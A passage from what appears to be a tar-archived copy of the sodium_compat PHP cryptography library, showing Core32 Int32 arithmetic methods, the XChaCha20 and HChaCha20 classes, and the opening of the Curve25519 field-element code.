                /** @var int $j */
                $j = ($i - $idx_shift) & 1;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            /** @var int $c */
            /** @var int $tmp */
            $tmp = $this->limbs[1] << $c;
            $return->limbs[1] = (int)($tmp & 0xffff);
            /** @var int $carry */
            $carry = $tmp >> 16;

            /** @var int $tmp */
            $tmp = ($this->limbs[0] << $c) | ($carry & 0xffff);
            $return->limbs[0] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c >= 16) {
            $return->limbs = array(
                (int) ($this->overflow & 0xffff),
                (int) ($this->limbs[0])
            );
            $return->overflow = $this->overflow >> 16;
            return $return->shiftRight($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $c */
            // $return->limbs[0] = (int) (($this->limbs[0] >> $c) & 0xffff);
            $carryLeft = (int) ($this->overflow & ((1 << ($c + 1)) - 1));
            $return->limbs[0] = (int) ((($this->limbs[0] >> $c) | ($carryLeft << (16 - $c))) & 0xffff);
            $carryRight = (int) ($this->limbs[0] & ((1 << ($c + 1)) - 1));
            $return->limbs[1] = (int) ((($this->limbs[1] >> $c) | ($carryRight << (16 - $c))) & 0xffff);
            $return->overflow >>= $c;
        }
        return $return;
    }

    /**
     * Subtract a normal integer from an int32 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($int & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) + $carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * Subtract two int32 objects from each other
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function subInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) + $carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * XOR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1])
        );
        return $return;
    }

    /**
     * @param int $signed
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($signed)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($signed, 'int', 1);;
        /** @var int $signed */
        $signed = (int) $signed;

        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) (($signed >> 16) & 0xffff),
                (int) ($signed & 0xffff)
            )
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array((int) ($this->limbs[0] << 16 | $this->limbs[1]));
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff);
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[0] & 0xffff) << 16)
                |
            ($this->limbs[1] & 0xffff)
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[1] = (int) ($this->limbs[1] & 0xffff);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) ($this->overflow & 0x7fffffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        if ($this->unsignedInt) {
            $return->limbs[0] += (($this->overflow >> 16) & 0xffff);
            $return->limbs[1] += (($this->overflow) & 0xffff);
        } else {
            $neg = -(($this->limbs[0] >> 15) & 1);
            $return->limbs[0] = (int)($neg & 0xffff);
            $return->limbs[1] = (int)($neg & 0xffff);
        }
        $return->limbs[2] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[3] = (int) ($this->limbs[1] & 0xffff);
        return $return;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
Core32/XChaCha20.php000064400000004626151024233030007714 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XChaCha20
 */
class ParagonIE_Sodium_Core32_XChaCha20 extends ParagonIE_Sodium_Core32_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
Core32/HChaCha20.php000064400000012261151024233030007666 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core32_HChaCha20 extends ParagonIE_Sodium_Core32_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key = '', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $ctx[1] = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $ctx[2] = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $ctx[3] = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $ctx[0] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $ctx[1] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $ctx[2] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $ctx[3] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $ctx[4]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $ctx[5]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $ctx[6]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $ctx[7]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4));
        $ctx[8]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4));
        $ctx[9]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4));
        $ctx[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4));
        $ctx[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4));
        $ctx[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $ctx[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $ctx[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $ctx[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));

        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        $x0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        $x1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        $x2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        $x3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        $x4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        $x5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        $x6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        $x7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        $x8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        $x9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        $x10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        $x11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        $x12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        $x13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        $x14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */
        $x15 = $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
        }

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }
}
Core32/Curve25519.php000064400000403556151024233030010012 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core32_Curve25519 extends ParagonIE_Sodium_Core32_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                ParagonIE_Sodium_Core32_Int32::fromInt(1),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32(),
                new ParagonIE_Sodium_Core32_Int32()
            )
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_add(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = $f[$i]->addInt32($g[$i]);
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $arr */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            if (!($f[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            if (!($g[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                throw new TypeError('Expected Int32');
            }
            $h[$i] = $f[$i]->xorInt32(
                $f[$i]->xorInt32($g[$i])->mask($b)
            );
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte string.');
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $h0 */
        $h0 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4($s)
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h1 */
        $h1 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 4, 3)) << 6
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h2 */
        $h2 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 7, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h3 */
        $h3 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 10, 3)) << 3
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h4 */
        $h4 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 13, 3)) << 2
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h5 */
        $h5 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_4(self::substr($s, 16, 4))
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h6 */
        $h6 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 20, 3)) << 7
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h7 */
        $h7 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 23, 3)) << 5
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h8 */
        $h8 = ParagonIE_Sodium_Core32_Int32::fromInt(
            self::load_3(self::substr($s, 26, 3)) << 4
        );
        /** @var ParagonIE_Sodium_Core32_Int32 $h9 */
        $h9 = ParagonIE_Sodium_Core32_Int32::fromInt(
            (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2
        );

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt32($carry9->mulInt(19, 5));
        $h9 = $h9->subInt32($carry9->shiftLeft(25));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt32($carry1);
        $h1 = $h1->subInt32($carry1->shiftLeft(25));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt32($carry3);
        $h3 = $h3->subInt32($carry3->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt32($carry5);
        $h5 = $h5->subInt32($carry5->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt32($carry7);
        $h7 = $h7->subInt32($carry7->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt32($carry0);
        $h0 = $h0->subInt32($carry0->shiftLeft(26));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt32($carry2);
        $h2 = $h2->subInt32($carry2->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt32($carry4);
        $h4 = $h4->subInt32($carry4->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt32($carry6);
        $h6 = $h6->subInt32($carry6->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt32($carry8);
        $h8 = $h8->subInt32($carry8->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array($h0, $h1, $h2,$h3, $h4, $h5, $h6, $h7, $h8, $h9)
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core32_Curve25519_Fe $h)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int64[] $f
         * @var ParagonIE_Sodium_Core32_Int64 $q
         */
        $f = array();

        for ($i = 0; $i < 10; ++$i) {
            $f[$i] = $h[$i]->toInt64();
        }

        $q = $f[9]->mulInt(19, 5)->addInt(1 << 14)->shiftRight(25)
            ->addInt64($f[0])->shiftRight(26)
            ->addInt64($f[1])->shiftRight(25)
            ->addInt64($f[2])->shiftRight(26)
            ->addInt64($f[3])->shiftRight(25)
            ->addInt64($f[4])->shiftRight(26)
            ->addInt64($f[5])->shiftRight(25)
            ->addInt64($f[6])->shiftRight(26)
            ->addInt64($f[7])->shiftRight(25)
            ->addInt64($f[8])->shiftRight(26)
            ->addInt64($f[9])->shiftRight(25);

        $f[0] = $f[0]->addInt64($q->mulInt(19, 5));

        $carry0 = $f[0]->shiftRight(26);
        $f[1] = $f[1]->addInt64($carry0);
        $f[0] = $f[0]->subInt64($carry0->shiftLeft(26));

        $carry1 = $f[1]->shiftRight(25);
        $f[2] = $f[2]->addInt64($carry1);
        $f[1] = $f[1]->subInt64($carry1->shiftLeft(25));

        $carry2 = $f[2]->shiftRight(26);
        $f[3] = $f[3]->addInt64($carry2);
        $f[2] = $f[2]->subInt64($carry2->shiftLeft(26));

        $carry3 = $f[3]->shiftRight(25);
        $f[4] = $f[4]->addInt64($carry3);
        $f[3] = $f[3]->subInt64($carry3->shiftLeft(25));

        $carry4 = $f[4]->shiftRight(26);
        $f[5] = $f[5]->addInt64($carry4);
        $f[4] = $f[4]->subInt64($carry4->shiftLeft(26));

        $carry5 = $f[5]->shiftRight(25);
        $f[6] = $f[6]->addInt64($carry5);
        $f[5] = $f[5]->subInt64($carry5->shiftLeft(25));

        $carry6 = $f[6]->shiftRight(26);
        $f[7] = $f[7]->addInt64($carry6);
        $f[6] = $f[6]->subInt64($carry6->shiftLeft(26));

        $carry7 = $f[7]->shiftRight(25);
        $f[8] = $f[8]->addInt64($carry7);
        $f[7] = $f[7]->subInt64($carry7->shiftLeft(25));

        $carry8 = $f[8]->shiftRight(26);
        $f[9] = $f[9]->addInt64($carry8);
        $f[8] = $f[8]->subInt64($carry8->shiftLeft(26));

        $carry9 = $f[9]->shiftRight(25);
        $f[9] = $f[9]->subInt64($carry9->shiftLeft(25));

        $h0 = $f[0]->toInt32()->toInt();
        $h1 = $f[1]->toInt32()->toInt();
        $h2 = $f[2]->toInt32()->toInt();
        $h3 = $f[3]->toInt32()->toInt();
        $h4 = $f[4]->toInt32()->toInt();
        $h5 = $f[5]->toInt32()->toInt();
        $h6 = $f[6]->toInt32()->toInt();
        $h7 = $f[7]->toInt32()->toInt();
        $h8 = $f[8]->toInt32()->toInt();
        $h9 = $f[9]->toInt32()->toInt();

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
